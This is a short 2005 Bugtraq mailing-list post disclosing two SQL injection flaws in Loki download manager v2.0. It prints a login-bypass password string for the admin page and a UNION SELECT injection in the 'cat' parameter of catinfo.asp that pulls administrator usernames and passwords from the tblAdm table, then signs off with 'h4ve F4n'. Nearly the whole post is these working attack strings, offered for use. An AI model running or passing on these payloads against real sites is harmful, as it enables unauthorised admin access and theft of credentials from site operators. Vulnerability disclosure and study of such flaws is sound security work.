[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
2 SQL injection in Loki download manager v2.0
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: 2 SQL injection in Loki download manager v2.0
- From: hack_912@xxxxxxxxxxx
- Date: 8 Jun 2005 16:25:37 -0000
hi all
tow SQL injection in Loki download manager
1. in http://localhost/adm/default.asp
user: anyuser
pass: 'or''='
2. in http://localhost/downmancv/catinfo.asp?cat=' union select
null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM
tblAdm '
and u will have user and pass h4ve F4n
Salmanooh
hack_912@xxxxxxxxxxx